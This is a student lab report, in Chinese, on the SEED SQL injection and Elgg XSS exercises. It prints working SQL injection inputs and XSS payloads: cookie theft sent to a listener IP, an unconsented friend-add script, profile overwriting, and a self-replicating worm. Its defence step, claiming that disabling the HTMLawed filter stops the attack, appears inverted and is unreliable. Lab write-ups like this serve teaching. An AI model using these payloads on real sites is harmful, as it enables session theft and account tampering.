1. 程式人生 > 其它 >20212916 2021-2022-2《網路攻防實踐》實踐十

20212916 2021-2022-2《網路攻防實踐》實踐十

1.實驗內容

實踐內容

一、SEED SQL注入攻擊與防禦實驗

我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:

熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。

對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。

對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。

SQL對抗:修復上述SQL注入攻擊漏洞。

二、SEED XSS跨站指令碼攻擊實驗(Elgg)

為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。

釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。

彈窗顯示cookie資訊:將cookie資訊顯示。

竊取受害者的cookies:將cookie傳送給攻擊者。

成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。

修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。

編寫XSS蠕蟲。

對抗XSS攻擊。

2.實驗步驟

2.1 sql注入實驗

本次實驗在Ubuntu下進行

首先使用命令登入mysql :mysql -u root -p 此次登陸需要密碼,密碼為seedubuntu 輸入正確密碼後顯示如下的介面

通過命令:show databases;檢視mysql中的資料,顯示檢視到的資料如下圖所示。

使用命令:use Users; 選擇Users這張表

根據上一個命令結果的提示 輸入命令:use Users; 選擇Users這張表,具體顯示如下圖所示。

接著輸入命令:show tables;檢視這張表

下面選擇這張表中的資料:select * from credential;

輸入命令:select * from credential where Name='Alice'; 查詢ALICE的所有資訊

輸入命令vim /var/www/SQLInjection/unsafe_home.php檢視原始碼,直接將密碼和名字加入到了字串當中,所有如果寫Admin' #,#代表註釋,所以會只能查詢到ID查不到密碼。注意輸入此命令需要重新開啟一個終端,因為者不是在mysql下的命令了。否則不會出來結果。

開啟瀏覽器,輸入網址會彈出一個登陸介面,在使用者名稱介面中輸入admin' #,

直接點選登陸之後發現Admin的salary

先輸入:cd /var/www/SQLInjection/然後輸入命令:

vim unsafe_edit_backend.php發現在UPDATE中直接填入了nickname所以只需要在網頁端輸入', Salary='987' where name='Admin'; #,就會將名字後部分作為註釋

重新輸入網址sqlinjection.com/unsafe_edit_frontend.php 進入以下的登陸介面,然後再使用者名稱中輸入字串Salary='987' where name='Admin'; #

點選執行發現Admin的Salary變為了987。

2.2 XSS實驗

輸入圖示的網址進入登陸頁面,賬號為Alice,密碼為seedalice

進入之後點選編輯介面,再beief description輸入

<script>alert("XSS");</script>

點選儲存後彈出視窗,證明XSS攻擊成功

2.3 檢視cookie資訊

還是進入編輯介面,再進入之後點選編輯介面,再beief description一欄中輸入<script>alert(document.cookie);</script>

點選儲存後彈出如下介面

開啟監聽檢視返回的值

再次到編輯介面的beief description介面輸入命令返回cookie,命令為<script>document.write('<img src=http://192.168.1.187:5555?c='+escape(document.cookie) + ' >');</script>,

注意這裡的IP地址是Ubuntu的IP地址

點選儲存,檢視終端之後就可以看見監聽的資料了

2.4 點選主頁新增好友

開啟火狐瀏覽器,新增HTTP HEADER 網址為:

回到之前介面,開啟header,搜尋好友

新增好友,檢視攔截到的資訊

儲存檔案後開啟,可以看見第一個是朋友的ID 第二個是時間,第三個是身份認證

寫下一串程式碼:

<script type="text/javascript">

window.onload = function () {

var Ajax=null;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

//Construct the HTTP request to add Samy as a friend.

var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

//Create and send Ajax request to add friend

Ajax=new XMLHttpRequest();

Ajax.open("GET",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

Ajax.send();

}

</script>

將程式碼貼上到Alice的about me中

我們再次回到主頁,沒有發現任何的問題

接下來我們刪除boby的好友,然後將賬戶切換到boby,同時也刪除好友並重新整理

先開啟header,然後訪問Alice的首頁

之後再header介面發現一個數據包,說明僅僅是訪問了alice的主頁就向Alice傳送了一個新增好友的請求,也就是說,惡意程式碼被執行了

這時我們發現剛剛刪除的好友又被加了回來

2.5修改對方的about me

首先再Alice介面的about me介面隨便輸入字元並儲存,然後檢視header的監聽內容。需要post來發送一個請求。

接下來根據這些資訊來寫程式碼進行攻擊。

<script type="text/javascript">

window.onload = function(){

//JavaScript code to access user name, user guid, Time Stamp __elgg_ts

//and Security Token __elgg_token

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;

var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

var samyGuid=44;

if(elgg.session.user.guid!=samyGuid){

//Create and send Ajax request to modify profile

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

Ajax.send(content);

}

}

</script>

再Alice 賬戶內輸入程式碼並儲存

然後我們退出當前登陸並登陸boby的賬號並訪問Alice的首頁資訊。發現當前頁面發出的一個請求。

然後開啟boby的個人主頁,發現其about me的頁面已經被修改了。說明攻擊成功了。

2.6 通過蠕蟲傳播攻擊

登陸Alice的賬號,刪除上次的攻擊內容,依舊在about me一欄中輸入已經編寫好的攻擊程式碼。

<script id="worm" type="text/javascript">

window.onload = function(){

var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";

var jsCode = document.getElementById("worm").innerHTML;

var tailTag = "</" + "script>";

var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

//Construct the content of your url.

var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;

var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

alert(content)

var samyGuid=44;

if(elgg.session.user.guid!=samyGuid)

{

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type",

"application/x-www-form-urlencoded");

Ajax.send(content);

}

}

</script>

點選儲存後彈出如下的介面,再點選ok即可。

退出當前賬號,然後登陸boby的賬號。發現boby的about me是完全空白的。

將header的內容先清空,然後訪問Alice的首頁

彈出如下介面

發現程式碼已經被修改了進來

開啟之後發現我們將discreaption設定為了下圖的一串,也就是說程式碼已經進行了傳播。

接下來換一個登陸賬號,並讓此賬號訪問boby的主頁,看看是否攻擊被傳播了。這裡發現即使是訪問boby的主頁,攻擊依舊成功了。

2.7XXS對抗

登陸admin賬號,密碼為seedelg

選擇plugins,點選HTMLawed,使它不可用

接下來我們登陸Alice,發現其about me中內容顯示出來了,攻擊失效了。

3.實驗問題

問題一:修改about me之後攻擊一直不成功

解決:是自己大意一直沒有儲存。

問題二:蠕蟲實驗的時候也是不成功,發現自己的about me修改的時候選擇的模式不正確。

4.思考:

本次實驗我瞭解了更加掩人耳目的攻擊,僅僅是訪問別人的主頁就可以被攻擊,確實很恐怖,這也讓我明白以後不能隨隨便便新增陌生人為好友,也不能隨隨便便訪問他人主頁。